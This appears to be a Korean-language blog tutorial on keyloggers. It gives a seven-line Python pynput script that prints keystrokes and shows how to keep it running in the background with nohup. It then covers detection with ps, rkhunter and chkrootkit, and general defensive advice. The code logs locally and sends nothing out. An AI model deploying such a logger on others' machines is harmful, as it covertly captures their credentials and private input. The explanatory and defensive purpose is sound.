파이썬으로 키로거 만들기

Python에서 키로거를 작성하는 데 얼마나 걸립니까?

7줄(점프줄 포함)!

키로거란 무엇입니까?



"Keylogger"는 "Keystroke logger"의 줄임말로 키보드에 입력한 내용을 기록합니다. 이러한 스크립트가 반드시 악한 것은 아니지만 위협 행위자는 항상 스크립트를 사용합니다.

가장 일반적인 접근 방식은 사용자 입력을 기록하고 데이터를 원격 서버(예: C2)로 보내는 것입니다. 매우 효율적이며 자격 증명, 이메일, 방문한 URL 및 기타 여러 세부 정보와 같은 매우 민감한 데이터를 공개할 수 있습니다.

키로거는 보안 및 개인 정보에 대한 엄청난 위협입니다.

여기에서 키보드를 사용하는 간단한 예를 볼 수 있지만 클립보드, 화면(일부는 "스크린 로거"라는 용어 선호), 인스턴트 메시지 또는 인터넷 활동을 기록할 수도 있습니다.

예를 들어 CPU와 마우스/키보드 사이와 같이 하드웨어에 직접 키로거를 내장하는 것도 가능합니다. 이 경우 분석에는 물리적 액세스가 필요하지만 맬웨어 방지 솔루션에 의한 탐지율은 상당히 낮으며 아마도 null일 수 있습니다.

그러나 소프트웨어 기반 키로거도 감지하기가 매우 어려울 수 있습니다.

Python의 실제 예




# keylogger.py
from pynput import keyboard

def display_keys(key):
    print(str(key))

with keyboard.Listener(on_press=display_keys) as l:
    l.join()


the pynput package을 사용합니다. 타임스탬프와 같은 더 많은 정보를 추가하거나 결과를 텍스트 파일에 저장하여 코드를 확실히 개선할 수 있습니다. pynput 패키지를 사용하면 마우스도 모니터링할 수 있습니다.

그러나 위의 기본 예를 사용하면 다음을 얻을 수 있습니다.

Key.space

'i'

'n'

'g'

Key.space

'l'

'i'

'k'

'e'



기계에서 실행되는 한 입력을 수집할 수 있습니다.

코드 실행 방법



패키지를 설치하고 스크립트를 시작합니다.

pip install pynput
python3 keylogger.py &

&는 백그라운드에서 스크립트를 실행하는 것입니다. 더 많은 "지속성"이 필요한 경우 nohup 명령과 결합하여 사용자가 터미널에서 로그아웃하더라도 프로세스를 완료할 수 있습니다.

nohup python3 keylogger.py &


키로거를 감지하는 방법



우리의 스크립트는 빛의 속도로 감지됩니다.

ps aux | grep python


실제 상황에서 Linux 시스템인 경우 rkhunter 또는 chkrootkit와 같은 자동화된 도구를 사용하여 알려진 루트킷 및 맬웨어를 탐지할 수 있습니다. 이러한 도구는 숙련된 해커가 탐지를 피하기 위해 작성한 고급 키로거를 발견할 수 없지만 스크립트 키디는 종종 인기 있는 키트를 사용합니다.

키로거는 보안 조치를 우회할 수 있습니다.



이러한 교활한 스파이웨어는 일부 보안 조치 후에도 데이터를 계속 기록합니다. 자격 증명 업데이트 및 구성 강화는 여전히 필요하지만 충분하지는 않습니다.

암호 관리자는 편리하지만 많은 솔루션이 관리자에서 브라우저로 데이터를 복사하여 붙여넣기만 합니다. 예를 들어, 기술적으로 말하자면 맬웨어는 여전히 모든 네트워크 트래픽을 스니핑하여 데이터를 가로챌 수 있습니다.

어쨌든 암호 관리자는 키로거를 차단하도록 설계되지 않았습니다.

마무리



어떤 시스템도 키로거에 영향을 받지 않습니다. 특히 공격을 받은 경우 컴퓨터에 키로거가 없다고 가정할 수 없습니다.

나가는 트래픽, 동작 및 프로세스를 모니터링하면 이러한 성가신 스니치를 감지하는 데 도움이 될 수 있습니다. 그러나 일부 상황에서는 파괴적인 분석, 아마도 완전한 재포맷 및 새로 설치가 필요하므로 중요한 파일을 정기적으로 백업해야 합니다.

좋은 웹페이지 즐겨찾기